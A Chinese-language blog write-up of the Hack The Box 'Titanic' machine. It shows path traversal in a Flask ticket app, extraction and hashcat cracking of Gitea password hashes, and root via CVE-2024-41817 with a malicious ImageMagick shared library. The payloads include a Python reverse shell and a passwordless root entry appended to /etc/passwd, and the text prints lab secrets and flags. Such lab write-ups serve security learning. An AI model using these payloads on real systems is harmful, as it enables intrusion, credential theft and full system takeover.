HTB-Titanic

本文最后更新于 2025年3月4日 晚上

寒假赛季打的机器了,唉,拖了这么久才想起发出来(太懒了wwwww),感谢 z3n1th、SWDD、n0o0b 师傅们的帮助www

信息收集

nmap 扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿butt3rf1y)-[/home/butt3rf1y]
└─# nmap -sS -sV -Pn 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 20:15 CST
Nmap scan report for 10.10.11.55
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds

开放了 80 和 22

UserFlag

1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb/ -H  "Host:FUZZ.titanic.htb" -fc 301
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿butt3rf1y)-[/]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb" -fc 301

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://titanic.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________

dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 710ms]
:: Progress: [114441/114441] :: Job [1/1] :: 80 req/sec :: Duration: [0:20:50] :: Errors: 0 ::

dev.titanic.htb 加到 /etc/hosts 里面然后访问

发现了 gitea,然后点击 Explore 找到了一些用户

只有 developer 用户里有文件,一个 docker-config 和一个 flask-app

内容如下

app.py 文件有路径遍历漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}

ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)

with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)

return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400

json_filepath = os.path.join(TICKETS_DIR, ticket)

if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)

download_ticket 路由直接使用用户传入的 ticket 参数拼接文件路径,可以构造像 ../../etc/passwd 这样的路径来读取文件

访问试一下

1
http://titanic.htb/download?ticket=../../../etc/passwd

读取下载的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿butt3rf1y)-[/home/butt3rf1y/Downloads]
└─# cat _.._.._etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

developer 用户

docker-compose.yml 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '3'

services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always

通过 gitea 的手册找到配置文件路径,结合 docker-compose.yml 中的文件路径下载配置文件

1
http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini

读取配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
┌──(root㉿butt3rf1y)-[/home/butt3rf1y/Downloads]
└─# cat _.._.._home_developer_gitea_data_gitea_conf_app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

找到了 gitea.db 的路径

1
PATH = /data/gitea/gitea.db

curl 下来

1
curl --path-as-is -o gitea.db http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db

查询一下数据库内容

1
2
3
4
5
6
7
┌──(root㉿butt3rf1y)-[/gitea]
└─# sqlite3 gitea.db "SELECT name, passwd, salt FROM user;"
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
joe|e8b6651ada9f663eb58fe9f91749e25ebb701ce68d8af03e41254d9b4cfa3a959db6dd4fe8b0928c4bfe0a2648fe0f7ccfc8|1626a36ea942a7d1b34f06b23e2d89e7
1syn1|9fbfa80ae243bacab37c5e10c2b8558f18bf3bc17b23d782a55d795143714e1ed87f9cc01422a6c5519e649a9e20783c7be9|bda65bd7bb76331c2076c23347cd156d
kilobyte|98d6a67dd155352c962c26c0008412960e3130d64e1fd23514e2ae8059930457b05989e64eb6c5418b1f8bf6c27b47431ab8|216d42075eef581be952be3a31bfd58d

把内容转为 hashcat 能爆破的格式

1
sqlite3 gitea.db "SELECT passwd, salt, name FROM user" | awk -F '|' '{cmd = "echo -n " $1 " | xxd -r -p | base64"; cmd | getline digest; close(cmd);cmd = "echo -n " $2 " | xxd -r -p | base64"; cmd | getline salt; close(cmd);printf "%s:sha256:50000:%s:%s\n", $3, salt, digest;}' | tee gitea.hashes

如下

1
2
3
4
5
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
joe:sha256:50000:FiajbqlCp9GzTwayPi2J5w==:6LZlGtqfZj61j+n5F0niXrtwHOaNivA+QSVNm0z6OpWdtt1P6LCSjEv+CiZI/g98z8g=
1syn1:sha256:50000:vaZb17t2MxwgdsIzR80VbQ==:n7+oCuJDusqzfF4QwrhVjxi/O8F7I9eCpV15UUNxTh7Yf5zAFCKmxVGeZJqeIHg8e+k=
kilobyte:sha256:50000:IW1CB17vWBvpUr46Mb/VjQ==:mNamfdFVNSyWLCbAAIQSlg4xMNZOH9I1FOKugFmTBFewWYnmTrbFQYsfi/bCe0dDGrg=

爆破得到密码

1
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user

developer 密码就是 25282528,ssh 登录拿到 userflag

1
8fd2b6d8b3295ff48e360a3b4ee855ed

RootFlag

查看一下进程

1
2
3
4
5
6
7
8
9
10
11
developer@titanic:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
develop+ 1174 24.5 0.9 1065140 36656 ? Ssl 11:27 14:40 /usr/bin/python3 /opt/app/app.py
develop+ 2553 5.1 4.7 1542860 187236 ? Ssl 11:27 3:03 /usr/local/bin/gitea web
develop+ 97125 0.0 0.2 17072 9888 ? Ss 11:32 0:00 /lib/systemd/systemd --user
develop+ 97635 0.0 0.1 8788 5564 pts/0 Ss+ 11:32 0:00 -bash
develop+ 391153 0.0 0.1 8788 5564 pts/1 Ss+ 11:58 0:00 -bash
develop+ 489859 0.0 0.1 8656 5412 pts/2 Ss+ 12:09 0:00 -bash
develop+ 513995 0.0 0.1 8656 5440 pts/3 Ss 12:11 0:00 -bash
develop+ 578623 0.0 0.1 8788 5536 pts/5 Ss+ 12:17 0:00 -bash
develop+ 674578 0.0 0.0 10072 1548 pts/3 R+ 12:26 0:00 ps aux

可以看到 /opt/app/app.py 消耗了大量 CPU 资源,在 /opt/scripts 下找到了 identify_images.sh

1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

查看了一下日志文件,emmm没啥东西

搜了一下 /usr/bin 下的 magick identify,它是 ImageMagic 的命令行工具,``ImageMagic` 是一个用于查看、编辑位图文件以及进行图像格式转换的软件

查看版本号

1
2
3
4
5
6
7
developer@titanic:/usr/bin$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

查 CVE ,找到了 CVE-2024-41817

AppImage 版本 ImageMagick 在执行过程中设置 MAGICK_CONFIGURE_PATHLD_LIBRARY_PATH 环境变量时可能会使用空路径,这可能会在执行 ImageMagick 时通过在当前工作目录中加载恶意配置文件或共享库导致任意代码执行,具体在 CVE-2024-41817

在工作目录创建共享库,工作目录应该是 /opt/app/static/assets/images/

总结:在 shell 文件中找到了工作目录,又因为在工作目录下会有任意代码执行的漏洞,所以我们可以直接通过在 poc 里面写入命令拿到 root

Method 1

root/root.txt 复制到当前目录来

1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt;chmod 777 root.txt");
exit(0);
}
EOF

拿到 rootflag

1
24981e432ecf0c66462da1fa91fff48f

Method 2

(这里是 SWDD 师傅的教学)可以发现 Machine 上有 python3,那么可以利用 poc 写反弹 shell

1
2
3
4
5
6
7
8
9
10
 gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
//exit(0);
}
EOF

拿到 root

Method 3

n0o0b 师傅教的一种方法(偷师学艺),直接添加一个新的免密登录的 root 账户进去

1
echo 'butt3rf1y::0:0::/root:/bin/bash' >> /etc/passwd

启动服务之后都得等一会儿才有回显

后记

后面还通过 crontab -l 可以发现执行了定时任务 identify_images.shcleanup.shrevert.sh

1
2
3
4
5
root@titanic:~# cat revert.sh
#!/bin/bash

/usr/bin/rm /opt/app/tickets/*.json
/usr/bin/cp -a -r /root/images /opt/app/static/assets/
1
2
3
4
root@titanic:~# cat cleanup.sh
#!/bin/bash

/usr/bin/rm /opt/app/static/assets/images/libxcb.so.1

一个更新 /opt/app/static/assets/ 目录下的 images/ 目录,一个删除 /opt/app/static/assets/images/ 目录下的 libxcb.so.1 文件

CVE-2024-41817

1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF

来分析一下这个 poc

1
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF

通过 -shared 创建一个共享库,共享库名字就是 ./libxcb.so.1,至于为什么是 libxcb,我觉得应该是跟 ImageMagick 功能有关,libxcb 是 Linux下的一个开源的面向 C 语言的图形库,它专为 X Window 窗口系统开发,它提供了用于访问 X Window 的原生 API,使得 Linux 开发者可以准确地访问 X Window 系统。

1
__attribute__((constructor))

这是 GCC 特有的扩展,指定了 init() 函数在 main() 函数之前运行,也就是说直接先执行 init() 函数内容即这里的 system("id") ,所以这里可以执行恶意代码。


HTB-Titanic
http://example.com/2025/03/04/Titanic/
作者
butt3rf1y
发布于
2025年3月4日
许可协议